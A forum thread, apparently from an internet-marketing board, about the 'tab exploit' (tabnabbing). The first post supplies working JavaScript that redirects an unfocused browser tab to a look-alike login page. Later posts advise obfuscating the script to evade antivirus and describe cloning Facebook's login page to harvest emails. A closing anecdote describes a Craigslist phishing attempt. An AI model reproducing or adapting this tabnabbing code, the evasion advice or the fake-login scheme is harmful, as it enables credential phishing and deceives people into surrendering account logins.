Tab Exploit

imo this can't be 'fixed' because it's using very general js functions to accomplish the task. here's an alternate version that does pretty much the same thing:

Code:
<script>
window.onblur = function(){
  TIMER = setTimeout(changeItUp, 5000);
}  

window.onfocus = function(){
  if(TIMER) clearTimeout(TIMER);
}

function changeItUp()
{
  location.href = "http://www.yahoo.com"
}
</script>

basically it just says that if the window focus is removed, wait 5 seconds and then redirect to another domain, for which the title, favicon, and content have already been set to what they need to be.

the original script attempts to change the title and favicon on the original page while pasting a static picture of gmail over the content... i'm guessing the whole point is so the url stays the same. but since it's not really gmail anyway i don't see why that would even matter... ?
 
This is the problem with cloud computing model, if you can authenticate on a users google account you gain access to all the various GWT RPC funk.

Hmm, I wonder how many people store passwords or other sensitive data on google docs?
 
This is the problem with cloud computing model, if you can authenticate

The problem is with authentication being done poorly, not the cloud. Google has traded end-user security for end-user convenience.
 
hmm, putting that js on any site of your own is asking for a punch in the face from Google and AV/anti malware apps/sites imo. at least obfuscate it first...

i would imagine plenty of sites getting flagged / distrusted if they dont at least put the js in a robots disallowed folder..

just my thoughts, i may be wrong.
 
LOL, I just decided to look at this thread again and AVG blocked the site. The reason given was it's using the tab exploit. So apparently the AV companies have added it to their update files. Even just having it between the code tags tripped the alarm. I had to disable the linkscanner just to visit the page to leave a comment. LOL

Also for the couple of people that said it doesn't work, this exploit is mostly for firefox and I think maybe chrome. It doesn't work the same in all browsers, and it won't work in ie.
 
Nice piece of code, never seen this one before in the wild.
 
all you would have to do is copy the facebook landing page and replace the email field with a iframe from your email submit code and the login button with the submit code and just redirect to the actual facebook after they click login

I don't understand how you can replace the login button with a fake button (with the affiliate code). For me the field where you enter your email (i assume that you only use email submit offer and that you don't iframe the field for the password) and the login button are 2 independents things in your example but for me, both have to be linked for the conversion to occur. Am I wrong ?
 
Seems that isn't so illegit as it suppose to. But redirecting domains ofc would be banned by G.
 
Now I see the importance of downloading an alexa rank tool bar, someone tried to nab my craigslist passwords.... really?!?! I know how pathetic of a scammer do you have to be to try and scam some one out of their CRAIGSLIST password.. But okay I posted a ad in craigslist and the scammer must of grabbed my email address from there then I started to receive emails claiming that my ad was taken down flagged so i clicked on the email and it looked legit, even the return email address looked like it was from craigslist so I clicked on it and it opened in my firefox browser (firefox is the best isn't it), I just so happened to have the alexa tool bar downloaded and the alexa rank popped up 2 million and something then I looked at the URL and it was some vacuum cleaning company with a craigslist login landing page. And it didn't help that I had craigslist open in like three tabs and I was logged in, in all. But if your into this type of thing go ahead, I dont knock any hustle.
 
Back
Top